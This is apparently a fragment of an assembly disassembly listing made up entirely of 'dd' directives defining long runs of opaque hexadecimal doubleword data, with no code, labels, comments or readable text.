		dd 7BBE8Eh, 0FF9F51D8h,	0FB45F018h, 0A09E0624h,	0D57C863Bh
		dd 0E8F868D2h, 52C0C076h, 0A4A0EF42h, 43DAA80Eh, 37326053h
		dd 0A2F67ACh, 38EE131Ah, 17AE8090h, 3C1FE954h, 827B6104h
		dd 0A4C7D6DEh, 65454DC1h, 3EEC60h, 73316344h, 0D58AD469h
		dd 0B94B8703h, 0FB7C90Ch, 92F002B8h, 130B0096h,	54C76A72h
		dd 95CF5901h, 0FC655231h, 3962AC20h, 7DA6F65Bh,	290E0920h
		dd 0D46CEC80h, 6D0045CDh, 0F82BB32Ah, 0FBDDBBE6h, 0C1499C40h
		dd 7B36005Ah, 95293B47h, 82777F51h, 6026ED7Fh, 20800012h
		dd 0A1F67089h, 14423B5Dh, 0B2EB6302h, 0B04179B9h, 52503428h
		dd 0C26B24h, 5BC36002h,	0ECD8C089h, 0F3640736h,	80AF494Eh
		dd 0C3197766h, 51D6BC00h, 0C51F438Eh, 0BABF00F6h, 626DE8AEh
		dd 3E51A521h, 0B477F0A4h, 0F0DC5300h, 7FFB5FDh,	9FEC1CF4h
		dd 3E561CAEh, 1FAEB0Fh,	23612BA0h, 9D001F84h, 49A09207h
		dd 98DDA2Dh, 7920344Dh,	89B600FDh, 0EF1EF75Bh, 3B7EAE8h
		dd 0D7BC0728h, 0BE907B17h, 0FA00A826h, 0C7427163h, 0F02E052Bh
		dd 0D8553AE2h, 0F3B7BF80h, 0A088AD84h, 0E1486800h, 0B6385A4Eh
		dd 0BBCE003Ch, 0DF80CADCh, 1F0269EFh, 42BA4D26h, 4BD6803Eh
		dd 735B57h, 0B45DE55Ch,	0E0E4A75Ah, 6100CBF0h, 56F0ABD6h
		dd 4D8AA6h, 0B5C832C3h,	107DC0E6h, 73DFE012h, 3790AF00h
		dd 74DA5DE3h, 5150ECDh,	108E2713h, 1D7BD620h, 0FE00742Eh
		dd 0E93445BCh, 0B2C0471h, 5F9AECC2h, 8C25B580h,	4A046285h
		dd 5750B03Eh, 8B00F1B8h, 1AF0CC67h, 4200A305h, 116B35C4h
		dd 0F0ED0A56h, 5EB300F5h, 0E77C6432h, 0E5072D44h, 6D3860B0h
		dd 0C2B24301h, 0F2F9F8h, 0C03403A9h, 3966D861h,	0B0745000h
		dd 6A97EF62h, 7DA752Ch,	0B279D502h, 0AB4B401Eh,	3D1F422Fh
		dd 86C1DE46h, 13CB6B91h, 1D8C6DCh, 0CFDF56F6h, 0C006927Fh
		dd 0E517FB85h, 470A98C2h, 0B307A958h, 6330D27Eh, 0E0943709h
		dd 4C8200C4h, 815C1011h, 78035764h, 886BE4C0h, 0FC5888FBh
		dd 80125037h, 0C5650DC6h, 0D81134C8h, 62032A6Ch, 0F37153E3h
		dd 0C959052h, 0FD0A0054h, 81443CBBh, 1003EB5Fh,	9C1C2377h
		dd 0A8C4C3F4h, 1E5932Eh, 8C39602h, 609AB130h, 0EA1E3D2Fh
		dd 0ACE81C97h, 5F1A4200h, 0CFC7D584h, 77340039h, 9D161182h
		dd 6F7C04DCh, 0B466F41Ch, 0BFC91C0h, 60CD40h, 2DA6EAD3h
		dd 0E5EB1FDh, 35589702h, 0C0F1AE74h, 376C4Bh, 2526E64h
		dd 7BBB7312h, 659B0405h, 0B000078Bh, 0C2389820h, 0EB0F03B7h
		dd 588447B0h, 0F8E3DBC1h, 90008F9Ch, 0E29ED442h, 402815h
		dd 0BEFA2662h, 0EBE68134h, 6EF249C0h, 0E1F8D97Eh, 39F11080h
		dd 29A304F7h, 0DD435C00h, 836B630Bh, 601700A6h,	95C60723h
		dd 0CA07E0C8h, 5F4E81Ch, 0E9513BD3h, 0DFD03D16h, 0C4CB00D1h
		dd 0AF259A32h, 8007308Bh, 0FD449768h, 8864FA23h, 142149h
		dd 0BDF94384h, 55CE1B79h, 178E5200h, 0C3BA659Eh, 8BA03B5Ah
		dd 50042800h, 0C694CC76h, 0BEC601Fh, 0B91A8447h, 218D6FC0h
		dd 0ABEE00A1h, 0B83D4C4Ah, 610972F6h, 87E1EB66h, 6E5F6556h
		dd 0CE968011h, 21563CAh, 0E2DB5CCDh, 97C09A2Ah,	94CF0D9h
		dd 551C7C68h, 0B8CDD1AFh, 34C16052h, 0ABC7F840h, 2200773h
		dd 0ECB7D10h, 6CB9A800h, 33001BE4h, 0A7464CD6h,	34D2C2h
		dd 69C1BD16h, 0D3AE2DF8h, 0D8079FEAh, 93FCDC0Ah, 288A4A91h
		dd 6E863FCh, 5B4D1D2h, 99038665h, 0F18CE103h, 88D9D8B5h
		dd 0B8900181h, 6BEE3257h, 0AE7ED8BAh, 0BFA4F7A0h, 0F835C700h
		dd 0ECDD9BB7h, 5711CFC6h, 0EB3E2800h, 3C724A74h, 0B1B5E21Dh
		dd 688C8E80h, 33367C3h,	20F97CF8h, 390C90BDh, 60B49BAFh
		dd 0F02E09BBh, 7820BA77h, 0D61F143Ch, 0F63D0518h, 0AF82460h
		dd 7E7B4762h, 0EE350090h, 16B8BB02h, 97E3AF0Eh,	0B5E0812Eh
		dd 20934FBEh, 2ACE006Bh, 5DC07969h, 9DD1490Bh, 0E9210095h
		dd 30A4D6h, 457546CFh, 0C74A9778h, 0C321DD00h, 0DA6A3363h
		dd 4BF100DFh, 86FFBCDBh, 0AD606B03h, 53F960A1h,	2DCD3DB0h
		dd 0B8F38000h, 0FEFB690Bh, 5FBC9900h, 75C3DB68h, 56C40ACDh
		dd 84EC023Dh, 8312F1D5h, 0B6B82F6Fh, 0D1C06ABDh, 148738D0h
		dd 30437DE7h, 30197B5Eh, 360039EEh, 0F08150E4h,	7749CDh
		dd 8E27B88h, 0B93DF783h, 0E0AA8F07h, 0FC6F8645h, 58CCDDCAh
		dd 0C8E8849Bh, 0F1C7E6FBh, 7AFDF4h, 4ED8496Fh, 73911697h
		dd 7C3B39h, 30A793CDh, 0C0C8C27Ah, 283E441h, 0C50087E1h
		dd 74CA3885h, 15DEDBFFh, 0B854532Bh, 0D67E007Fh, 6E4648F9h
		dd 90012BCh, 0B4236497h, 1815E070h, 0E0075EAFh,	0F900DE35h
		dd 0D82927E3h, 1DFF027Dh, 9558274h, 2000E6A6h, 1387EA71h
		dd 89BE6030h, 77BDB0h, 0DCE71C46h, 9EA3477Fh, 4E2A8630h
		dd 3A03A5Bh, 0C0FE7770h, 99056DF1h, 7ABAB642h, 75F6A841h
		dd 0C8506F5Fh, 24F51Eh,	4B978BBFh, 63774A6Dh, 79EC3B77h
		dd 5D1D1207h, 0A7A0947Fh, 50E8B1h, 0E4D0AA8Ch, 3657C89Ah
		dd 89ABD407h, 7A104594h, 472072h, 0C22D8ACh, 719E8D18h
		dd 39C0EB7Fh, 3480A3B5h, 89A20041h, 205E10BCh, 0D0CB413h
		dd 28BDBFE9h, 3434A0EBh, 7E7810h, 39203B95h, 1C639F58h
		dd 0FC221900h, 0EDADE18Ah, 8DFF17CDh, 73C200AAh, 328E50B8h
		dd 6DE22B03h, 9565CB42h, 3FD61Eh, 14B36F9Eh, 2FF80Ah, 0E7028F7Dh
		dd 43F20C10h, 0BD01C406h, 778163CCh, 7B7200B9h,	70A9D9E3h
		dd 0E228D757h, 1A0068ECh, 563C844Fh, 0FB6BC376h, 4CC60C8h
		dd 0D39D0D89h, 9E410267h, 3D1D0FAEh, 0B1B303F4h, 4A657A6Eh
		dd 19DB1900h, 0E90FF12Dh, 28A70085h, 0B9B1788Dh, 0F805BC81h
		dd 0A4E6C0A6h, 3025C6h,	0E24FA08Ch, 0E74EDBDh, 694CF100h
		dd 651FEB92h, 8370041h,	0AD516A48h, 740067D1h, 91C5D349h
		dd 3A7AEC7Fh, 0C31D6E47h, 0EE66879Ch, 0C5802E07h, 0BFEDB983h
		dd 0EF53B20Ch, 0C0F248C6h, 68596908h, 13008B3Eh, 937DB50Dh
		dd 7EE2CEBh, 6C52C21Ah,	0F8289C87h, 9CF5890Fh, 0C0035613h
		dd 0B0F202D8h
		dd 98FBE6h, 0EE7CA09Fh,	53231AE5h, 0CD61DCF8h, 64C51238h
		dd 719F1C71h, 0A17A00D8h, 5E5BFC71h, 5C046F1Dh,	0AF21E218h
		dd 0F43A90D3h, 0BA510B17h, 0D7E1BECEh, 2D908790h, 54238A47h
		dd 0C69901C8h, 0D366F16Ah, 0CBEDF8ACh, 0F3C360Ch, 105130C4h
		dd 7CB4A249h, 1DCADC18h, 756FE5A0h, 8D7930E2h, 62AADD49h
		dd 90E050C0h, 0D4B898h,	20130D6Ah, 499C41E9h, 0BB124A01h
		dd 0C5148130h, 1BAE01h,	925071h, 2685F26Eh, 9EF66DB5h
		dd 3FAD752Ch, 39ED2D00h, 58125C64h, 0E7009CBAh,	16C97088h
		dd 0D0788696h, 8BB75600h, 65B6125h, 0EB8E04CFh,	0C713B0FEh
		dd 7F45D03Bh, 1700DC08h, 7E193BACh, 0EBAFED03h,	0F2B035FCh
		dd 3D21C7A2h, 9E9BB123h, 0E97B600Eh, 961C7601h,	13B127EBh
		dd 18DBE0C0h, 873E117h,	0CE4B08Ch, 1B8BB303h, 7C29DF96h
		dd 8051D928h, 82E188Ah,	0C5037B19h, 4E4731C4h, 5988B036h
		dd 0F20094FBh, 0FF2505C2h, 30498395h, 96E05740h, 8B806413h
		dd 80A61FE3h, 26A70151h, 83B1041Ch, 3FC4E5F9h, 0B710001Fh
		dd 0F663F048h, 4601318Ch, 0F3C58344h, 0BDC688Fh, 2C695865h
		dd 1DDB0D00h, 3DB12A09h, 6C63720Fh, 0C00FCEADh,	538B6539h
		dd 6B28C03Ch, 4119E280h, 17F33207h, 73F072EBh, 60473971h
		dd 37363016h, 524C356Ch, 0D1BE0487h, 5983B917h,	996380F7h
		dd 7D702Eh, 0A5F374D0h,	602A9C77h, 6DD97800h, 4E45A2BCh
		dd 8F7388h, 98B676B9h, 0E07F43EAh, 0C8F0A639h, 0FB007297h
		dd 0B0379B2Ah, 0A54410h, 85582856h, 0F7CF125Bh,	54002CFAh
		dd 0E11447ADh, 0BBE30Fh, 0CE273240h, 0D352802h,	0C26F7203h
		dd 83228230h, 0B354B88Dh, 297D0C0Fh, 65D123DEh,	6D946054h
		dd 4107E300h, 7531A1E5h, 801206A9h, 512DEBFEh, 0AEA4739h
		dd 0A0D15E99h, 0FA152480h, 12CA6Dh, 85173248h, 469F6C61h
		dd 0D4514200h, 958AFFC1h, 0CC371B24h, 0D010B840h, 7C005708h
		dd 10164E02h, 7006C7Dh,	3747C25Eh, 90792015h, 994D003Eh
		dd 5FBF8741h, 0C0D6FD4h, 11E28F9Ch, 4583040Bh, 10006C0Ah
		dd 7E0E15D7h, 2C02C9h, 0C2E74A63h, 0D3395CDDh, 0EA7D4500h
		dd 92D7A80Bh, 287062D4h, 0BE016D60h, 4EF07D37h,	8494000Ah
		dd 0A7C3D91Eh, 0FF397FABh, 3E6E802Bh, 97E88059h, 9DA81FB7h
		dd 42AD8444h, 33828089h, 123B8EA3h, 0B92000E5h,	0AA920E97h
		dd 0A7123h, 0CED4E0CAh,	0F71CC9D5h, 0DA187400h,	2975A504h
		dd 0A6D900E2h, 1B437FEDh, 74737A7Eh, 0F92D6F00h, 0AF8873AAh
		dd 20ECE1C1h, 0C9290081h, 2F8BF863h, 94CB3DEh, 0FB140072h
		dd 55EC1D9Ch, 867D0043h, 0C9BD2DDFh, 3A0092ABh,	1A245EFDh
		dd 0B7498A0h, 5CF12FC8h, 70BF8B00h, 0F93B6EDEh,	19938085h
		dd 807A617h, 38AF8C4h, 24E6761Ah, 46C0ADEEh, 0A40073C3h
		dd 2344694Bh, 7F8ABA7Ah, 2ED5070Eh, 6084C85Fh, 0A1D69921h
		dd 9EF43900h, 0CC8ED0CDh, 0D10B004Dh, 4F97B0C4h, 0C60F9C4Ch
		dd 0BFA033EDh, 5B33800h, 0E21EE83Ch, 0F01F00EEh, 994F8C24h
		dd 0A6581489h, 0B131009Bh, 709C25BCh, 0A85A3ECDh, 845E4280h
		dd 0A9F71F77h, 0FD34B600h, 3B0EAF71h, 0C0EC0030h, 5F96602Dh
		dd 0B200C69Fh, 72BB1413h, 0E6605B6h, 5374BDB5h,	82C1E240h
		dd 0D8009EF7h, 1C3CD130h, 3476AABh, 259F26Bh, 0E1F82C27h
		dd 4200DA4Ah, 0D3E4EE2Bh, 805884h, 0DDACC579h, 0D116742Dh
		dd 59A08900h, 41A99E5Bh, 2F58004Fh, 0B74D3310h,	9B07C9B9h
		dd 26B4240Dh, 0E8625D90h, 653418BFh, 1CC1E97h, 2896BC00h
		dd 0B6FC85B7h, 941A00C2h, 8AF412EFh, 9D034F88h,	96E6B5FAh
		dd 34B9C89Eh, 0CD7F6Dh,	448F1F41h, 105E91AFh, 1542D900h
		dd 8E3646EEh, 0F58703ACh, 8D66B5CCh, 404D8FF8h,	89E34403h
		dd 0B03130B2h, 321BA3h,	63229B59h, 9369AFD6h, 0AA8EBA00h
		dd 6E3D80FFh, 538A0FDDh, 0AF208629h, 1AFC2E01h,	374B148h
		dd 68EA3237h, 1405B0E4h, 184F00D6h, 0FED14ECFh,	43008909h
		dd 0EB036670h, 9B7DF75h, 3C9452A4h, 24428380h, 0D40002BCh
		dd 0EBA2D920h, 98E36Fh,	29616995h, 0BF0ED5Bh, 2C941800h
		dd 1E66D5E0h, 24E8008Ch, 0B0CBEA04h, 9100E6E4h,	0BCC22194h
		dd 39783F64h, 2680D362h, 1F69A4F8h, 437E8D7Fh, 0E400BA7Fh
		dd 0DC3D5641h, 0ACF177h, 791B59C2h, 916C288Eh, 0D270C805h
		dd 2681D5DAh, 0DFF0D9E0h, 215B00AAh, 0C4591290h, 50001880h
		dd 62FDC1C8h, 3C7A13Ch,	0D731B79Ch, 0AB98E31Bh,	3B002005h
		dd 9E3FCEE5h, 0BFA1C1h,	0EE393114h, 127535BDh, 5CE098F0h
		dd 0C09F8430h, 0FEED1C96h, 0E53000E0h, 0D7D238D4h, 0C548E4C3h
		dd 683B7A24h, 0AFB0806Eh, 0BC94A073h, 1EE1065Ch, 20BAA351h
		dd 2F15D05h, 58814AF4h,	90CDB645h, 7A143686h, 8A766893h
		dd 98675500h, 12F8122h,	0F1E60EEBh, 780090AEh, 51E5603Ch
		dd 33957300h, 5C79E39Ch, 8F1007Ch, 40424D0Ah, 7DF4D272h
		dd 1D808D00h, 0BD75EA22h, 7E6E005Dh, 3C898761h,	0EF00F771h
		dd 818F4856h, 9068E7F4h, 97F872h, 8CA96147h, 0CC86242Dh
		dd 0E321B460h, 7585D6DCh, 107B0029h, 0B8EF7A04h, 0FBE6FE1Fh
		dd 0F552AC00h, 4FDAA78Dh, 9C2250BDh, 871F2C7Bh,	37A50075h
		dd 0E2B3DD9Ch, 588C1200h, 614026AEh, 0E3E41D4Fh, 18F1D722h
		dd 940D812Ah, 0BCBEF302h, 8331EF41h, 8008C9BAh,	45C782h
		dd 12247404h, 7F9558Bh,	8D14C500h, 5DC371B1h, 66860064h
		dd 75A26DB4h, 0A438CE4Fh, 6BB88713h, 0B9703129h, 942ED7h
		dd 2D0635Ah, 9A809E19h,	0D6015090h, 28DCAE4Bh, 0ADC8EA24h
		dd 6A5B0012h, 0C5D7D19Fh, 23E5839h, 3F4E008Fh, 0EE9A3B4Dh
		dd 0A6EC0ED0h, 89E19D23h, 702225E4h, 0D81ED7DCh, 24440329h
		dd 0AC806EDCh, 98EE99h,	273F47FEh, 732BC36Dh, 1E941400h
		dd 638ABEDh, 812514A0h,	931FA4E4h, 5850EDFh, 0D745C5C0h
		dd 3D003C7Eh, 0B29EA06Ch, 72FCE834h, 79D00CFh, 2159A98Dh
		dd 5200BDF4h, 0B757398Eh, 50F678h, 7D4F7C3Fh, 0A49DF710h
		dd 71497300h, 0CBC5A41h, 76A73C64h, 8015989Fh, 4C7E4039h
		dd 0FAFC9DA0h, 4E91DB00h, 0F780BB2Fh, 0D9D40059h, 5B01A54Bh
		dd 0F600A256h, 0DFA07791h, 24ECB342h, 80A0BE41h, 0E9116267h
		dd 5A00CE3Fh, 25C7C00Fh, 6CED13h, 45431ED2h, 0A25E44D1h
		dd 973E7E01h, 8C91369Dh, 3049E3E4h, 1F142E64h, 0DE0057FBh
		dd 170F82D7h, 3089F1h, 0FC4B6865h, 0BB1A42C2h, 580E0176h
		dd 4A3517F2h, 2103A0B6h, 8F64F8h, 0F071AC91h, 0FEF5912Dh
		dd 1C8ABE18h, 0FF1E4C18h, 0CF2C10E0h, 5C602E11h, 23639B82h
		dd 3F13A201h, 45D97825h, 606E17C4h, 47F488B7h, 1454EFABh
		dd 80C7FED8h, 0FBC711DDh, 8BB46DC0h, 0BCC0091h,	0BAE7149Fh
		dd 0F600B933h, 25DB4EC8h, 50154396h, 7395856h, 3F11EFE3h
		dd 563C550h, 7F0470Ch, 0B04E1264h, 0D3F3ED4Ah, 17D82700h
		dd 1D2FE252h, 319F0370h, 95870A72h, 0F0B1C8C8h,	6F625B00h
		dd 5EE1CEBAh, 0AEFC00BFh, 0AA7FDC37h, 50006392h, 951191FEh
		dd 0EE77D5h, 372EFA1h, 663DB40Bh, 47F8A400h, 0CFB22033h
		dd 0A9DE07F0h, 1EC44613h, 0C2F79200h, 2074EB5Fh, 0EEF0180h
		dd 0ED97CF1h, 13078FE9h, 21454692h, 0F1F7E201h,	0CE47B3EAh
		dd 3FE5DCh, 993C3E04h, 0FBA694ACh, 0BCAE9E28h, 4C321418h
		dd 48216D18h, 844414F2h, 810807F3h, 73D64D4Eh, 93014B2h
		dd 115321BDh, 13C40081h
		dd 745FEAA1h, 64193CBCh, 0D2502060h, 0A0F5220h,	0B71613AFh
		dd 0D7517B4h, 0E3203830h, 0BF4E4906h, 890B12Ah,	58447C5Dh
		dd 0D3A70C3Eh, 605F1889h, 5EB8319Eh, 9B007864h,	45A6ADE3h
		dd 18447E6h, 5D7E25E7h,	42F4A21Ch, 730F168h, 4D491181h
		dd 1A29FFEh, 9C811056h,	602B4C6Ah, 0DC7C1915h, 0BC6DA0Ch
		dd 3988F8h, 0E465EEEFh,	8FA32F70h, 1F3B7A71h, 0DF6880A2h
		dd 775AD5B1h, 0D7B40099h, 936D42E8h, 7F0F54D9h,	0E9D5946h
		dd 0F35A078Ah, 0F6A64580h, 158312CDh, 80CB1E72h, 2A12D732h
		dd 4A1F98F8h, 0FF00B4C2h, 221A06F7h, 8EB100DBh,	0CF635FEBh
		dd 520FE8ACh, 80E0DF8Ch, 1EB2553Ah, 6B870070h, 0AFA81B14h
		dd 37001FFBh, 61B44FCAh, 57336Eh, 0F988235Ch, 31503902h
		dd 75170E77h, 7E0B8CECh, 15E3801Bh, 0E95A02C4h,	0E1CB1080h
		dd 50E0C614h, 0E88F3607h, 0C74635D8h, 9C9B1D68h, 5CD440C9h
		dd 74DAA2D6h, 0BCF2A114h, 5E361889h, 0D5098h, 8CEA0628h
		dd 3F76A22Eh, 14018DBh,	56248DB0h, 819262F2h, 989AAD18h
		dd 0D3D54Ch, 19D0FB20h,	0BF9652C7h, 0CE66187Eh,	210308h
		dd 3C19C9D8h, 0FA71DE91h, 78005877h, 0CC32FBC6h, 3D3FD065h
		dd 0BC8CCB59h, 7479138Eh, 0F657B800h, 606E9DADh, 895669Eh
		dd 0D7012106h, 298A57A0h, 7FC0EBBh, 38DD3BE8h, 794C868h
		dd 5C9CFE16h, 5400D210h, 0E4851F2Ch, 0E0B259Bh,	65025987h
		dd 0D3079740h, 0B9005C11h, 91782C80h, 7D5DEB4Ch, 71F815h
		dd 54743623h, 6664DD7Ah, 5100D7E8h, 53FACBE8h, 3BD1602Ah
		dd 39004159h, 0ACA51146h, 0D200D434h, 74DE2CE7h, 78DA8Ch
		dd 41536875h, 0D4F299C8h, 3C372707h, 0A0F9B424h, 66FA8AE9h
		dd 0F26700F7h, 4E09F9BEh, 3C580D38h, 39480073h,	5CA84154h
		dd 82790015h, 65191F3h,	0AE00ECA5h, 384D2E2Dh, 0FED35619h
		dd 0E5B83F61h, 12CE3580h, 5FF2B23Bh, 409D7F00h,	0DD2332Bh
		dd 0C7F9029h, 3EF37158h, 0B801E561h, 4275301Bh,	0B08138F1h
		dd 37281F16h, 0D152F0D5h, 1CF17060h, 0E653140h,	22D02784h
		dd 1147FBA3h, 0C5BBB480h, 0DA297260h, 1D9A250h,	0E626C0DBh
		dd 0CCFBDF6Ch, 0CE0742B0h, 44D4BA86h, 6400B53h,	0C6105430h
		dd 2CF0903Dh, 69652906h, 18105506h, 3038B685h, 0E607C4DAh
		dd 0A6D0743Ah, 3252201Fh, 5A6318h, 20813CF1h, 41AA96Dh
		dd 88780200h, 0AF91921Dh, 0D0DE0132h, 0D7CFE94h, 50A5FC93h
		dd 97ADD301h, 455F9DDFh, 0A224ECh, 7C07CC37h, 0F1DBDDA7h
		dd 55D68B1Eh, 8E1862CFh, 0C8EEA386h, 952000EAh,	0D35D1720h
		dd 0A2333808h, 0B81E18DBh, 389B0743h, 1B072655h, 4076DE62h
		dd 3FAB83FCh, 85ADAA00h, 0A170D89Fh, 504300C1h,	5A93F035h
		dd 7B0601CFh, 0DA5638E8h, 55FD0050h, 0D51B5B4Bh, 3F18772Fh
		dd 0F6C0CFC4h, 0E7C9C00Ah, 0A671517Fh, 2B324700h, 0E842C736h
		dd 0D9DD399Ah, 18EF8A1Fh, 43F750D3h, 29A4D20Eh,	0B662230Ah
		dd 0B76FB055h, 76C50C81h, 5661D941h, 0BC177D00h, 82240E4Fh
		dd 300F0304h, 9C8CC403h, 45CF7803h, 0C641AA3Ah,	2A9000D0h
		dd 2806D563h, 48C9D44Bh, 98680E9Ah, 17E8720h, 0FF363079h
		dd 0E08BDFE8h, 730032B9h, 58164BFEh, 2D63CDh, 65790408h
		dd 70D63CC9h, 0EE091F18h, 0C0164609h, 0C9671920h, 5A00C67Bh
		dd 0C3F21CEAh, 7F79B27Fh, 41F43074h, 1A9C9328h,	3B0661F4h
		dd 8B967FF1h, 8059E220h, 0A6FE705h, 0EF750150h,	20BB84C6h
		dd 791E500h, 3B85FF1h, 2F60C1FEh, 0CA617629h, 57941306h
		dd 3FF907E9h, 212E46EAh, 0CA5A6D00h, 1B3653C7h,	7CD8F351h
		dd 0D26F008Bh, 71732997h, 0AB003FFEh, 0C8888DCEh, 0C17CB34Fh
		dd 0B1644E78h, 53A18205h, 8017213Fh, 0B8941190h, 287D609Bh
		dd 4FC95932h, 10764730h, 0E2379C91h, 0B4B60ED1h, 50003045h
		dd 0DDFDCD2Bh, 7CEACA1Ch, 0C5B84F00h, 0AFEE91h,	29679531h
		dd 9B2DB90Eh, 7E375900h, 7B9FEDFDh, 1955005Ch, 7D7020Fh
		dd 8E006EC4h, 50E70184h, 79910C26h, 0F01903Ah, 3C649BA3h
		dd 0A053B2A7h, 84DDE616h, 0F818BC00h, 159E3D5Bh, 39A700A6h
		dd 0A14C60BEh, 0A268D1D9h, 79780410h, 10A0606Eh, 3048F9E2h
		dd 9B496600h, 1F198D63h, 0FD393E89h, 0F1033580h, 6CB37B80h
		dd 0C009BF2h, 0BE622B10h, 0F26EC2h, 0A908ED1Bh,	9413260Ah
		dd 9A8FDD00h, 0A8A4494Ah, 7C5200E2h, 1BE050AFh,	9200BDDFh
		dd 95ACD730h, 0F94233h,	0AB12E66Dh, 64F7C1C9h, 0B272E50Eh
		dd 88C301B0h, 41CC842Ch, 0CB6D00FFh, 3CEB4B9h, 0F30065E6h
		dd 2E92BA58h, 9852EE01h, 98900D0h, 0A9D9E83Dh, 0C500A788h
		dd 0D115931Ah, 0C94EFEh, 7DE2585Ch, 441D4B5Ah, 0B407F000h
		dd 0CF09E680h, 26BF07EBh, 60B32094h, 86F0E023h,	0DE006AE2h
		dd 75A90943h, 1CD33348h, 406CE3F6h, 67B7ADBEh, 0F03AC06h
		dd 8F1C6E55h, 0A8AAF8EBh, 7210C054h, 0AD8E2C9Fh, 0C97A3Bh
		dd 0DFCB5771h, 38A3976h, 796760BDh, 0D8C0B5BEh,	2B05A107h
		dd 0BF4DAC6Dh, 0CD9FD007h, 0F0A3E323h, 0DB78EDh, 994B88F8h
		dd 0A51BF4BCh, 122C281Eh, 2B170FC5h, 72F78B80h,	0AB7266h
		dd 8090C46Ch, 0C132C52Eh, 8C5C0A39h, 68DA7C4Fh,	0BA50482h
		dd 8848903Ch, 511E3710h, 8700014Ah, 0DAD0AC44h,	776500EFh
		dd 0BB28891h, 1900022Eh, 44B676A3h, 1B667Fh, 8485DE36h
		dd 4645BC24h, 15C6B2C0h, 1DC9195Dh, 0C0116B90h,	0DBB48628h
		dd 931E979Ch, 8180D8F6h, 664C45FAh, 0EAAB0033h,	37DF3018h
		dd 0C3004FE1h, 0EC2AAE76h, 1BD6451h, 0A5BF1CCCh, 0BDB7A838h
		dd 0C2790F91h, 850580D7h, 0E65E81B5h, 21030054h, 7D4EE28Bh
		dd 9A013F97h, 0E444EC79h, 0C9DC2AA6h, 88FB495Eh, 6E8F2E3Eh
		dd 72EEADE9h, 6B34CD60h, 0EA004F51h, 16DA18C2h,	0EAE1688Ch
		dd 0FEFC00CEh, 3D6354D9h, 23E493F3h, 0DE11E401h, 640E58C5h
		dd 45BEE0h, 5273F08Ch, 93BB8AA6h, 4A573500h, 95F917F7h
		dd 0EFCF0038h, 0F126DB97h, 240A5DC4h, 0C4E88CF3h, 4F50AB80h
		dd 0A91F0Bh, 0A0D27579h, 974C7A4Ah, 1C000979h, 0BC5E4195h
		dd 7FE4D0h, 30E27844h, 13B81714h, 0DA2C7500h, 6728BA02h
		dd 32BF0339h, 0D20FF127h, 417D74C1h, 0C01089DCh, 0E800CBCFh
		dd 0DA4724EEh, 7079B28h, 7C231CC5h, 807CB79h, 0B91120C2h
		dd 249AD003h, 0DE229E00h, 0E43894C0h, 0CA981EFAh, 99EC815Fh
		dd 418035EBh, 0E8CB89D0h, 4D0008BDh, 0A6433CA9h, 3FD5F0FBh
		dd 0E0EB5E5h, 0C8C05DB1h, 0B91D8C3Bh, 7A211301h, 31F1BDF4h
		dd 3A8D080h, 0BFDE245h,	1553BA01h, 99586E21h, 3E2C20D0h
		dd 75802B23h, 0EA5C8702h, 0C35C8BD7h, 1BF27C7Eh, 79E90924h
		dd 445A0300h, 0FC3302h,	4D7A9149h, 8583F9E1h, 0D46E5E1Ch
		dd 0AFDB007Bh, 6916FDDDh, 5AE20056h, 45582865h,	860070EDh
		dd 948E9E08h, 4A52C3h, 0A43CE6A7h, 2AF96A43h, 22DA3A00h
		dd 618817E9h, 0D3DD3CDEh, 0BCA55684h, 9BEC20Eh,	0FCD8D868h
		dd 15691800h, 0F1D37386h, 0D2FAFFh, 0EF124A44h,	68CCA5CDh
		dd 9FBB5600h, 0CF282F10h, 0A974004Ch, 0DC2A766Eh, 0BA630775h
		dd 0E0D68210h, 1C966249h, 8023D54Fh, 31D3B539h,	4005E09Bh
		dd 0A56EBE3Eh, 46CFC7C0h, 585D4C8Dh, 0EEACD103h, 20B7DCF9h
		dd 5B154E4Bh, 0F0D00D03h, 93437E3Fh, 2533D8D6h,	0F1570E8Ah
		dd 0A8E004E1h, 89926594h, 0C49E5E00h, 0FA068B67h, 0ACA549F4h
		dd 9D689400h, 71242B56h
		dd 5F3EB0Fh, 4D88E0FEh,	397804EEh, 707887DAh, 775E3C32h
		dd 10CBE718h, 9100C4BBh, 0A6ADC34Ch, 7BFB102Ch,	0ACA44CD0h
		dd 90268B00h, 0BDF02E27h, 362DAB09h, 0B84C03D2h, 217DA0C0h
		dd 7943249Ch, 381000A1h, 0E1BC2975h, 1EDD3200h,	1A74A807h
		dd 64570769h, 507D0118h, 0A42826Ah, 8417AC39h, 918B2D8Fh
		dd 6E50EA80h, 1D4500C7h, 2F032C60h, 5E0346A5h, 0D6079801h
		dd 5554B059h, 0ED4C011Dh, 6A841CD2h, 8DE9DC9Fh,	1E9E6C00h
		dd 0C275A5E5h, 0F97C0073h, 4E5FF597h, 1700B971h, 9F1DB640h
		dd 0B05D18h, 9113DB9Dh,	0FB3715BFh, 0D77ED301h,	0E9D959D2h
		dd 0FDC014F1h, 2F90000Ch, 47C40D73h, 1011A5Ah, 5586E39Dh
		dd 7BF48221h, 49C500B4h, 0C20D4076h, 41019B89h,	68CB014Bh
		dd 83F0D258h, 0D81A034Ah, 0E825270Bh, 0E6405DCAh, 2400E5F0h
		dd 0F16AF995h, 8F3309h,	5023C9B3h, 42DA6EB6h, 0C6FD461Ch
		dd 0BF009028h, 0C0BD09C8h, 0A09066h, 0C2EE7A62h, 0B240A8E5h
		dd 85037100h, 0ACD8DECEh, 0D9AD010Ah, 7EAF0DBCh, 46DCFC60h
		dd 9E0E927Ch, 0EB6150h,	97A41587h, 626800B5h, 0C1447210h
		dd 2B00B7B9h, 9CDC18FEh, 0B8B3C835h, 9EC02C40h,	61CA0778h
		dd 96809026h, 0C72456A3h, 386C29h, 5EFDF863h, 31F4D7h
		dd 0D93FC5FEh, 29CD4B36h, 4889F300h, 1D3C28D2h,	59E660F1h
		dd 7E6A8155h, 0BE03C900h, 67472B31h, 0CC35801h,	5D8F2F07h
		dd 0E29680E4h, 0BA4D10DEh, 0C11F01E0h, 9231EC82h, 24558430h
		dd 1C086F80h, 0B7FF4050h, 35992B7Dh, 800E403Fh,	30B29CCEh
		dd 0E77F8D3h, 2F324A89h, 968A360h, 0BB05D9F6h, 1A2C4DE8h
		dd 0DA67C4C0h, 5DBA00D2h, 0A04729E3h, 5200E903h, 9301C25Ch
		dd 27E202h, 6D132D92h, 42433DD1h, 0BC038073h, 6A20F221h
		dd 0C870975Bh, 155CCBh,	0A1C324C7h, 9ABAFCDDh, 0C201C8DDh
		dd 4F98FFA5h, 0FAA119Eh, 0E998E322h, 0CB00AD75h, 0CDDB2EFEh
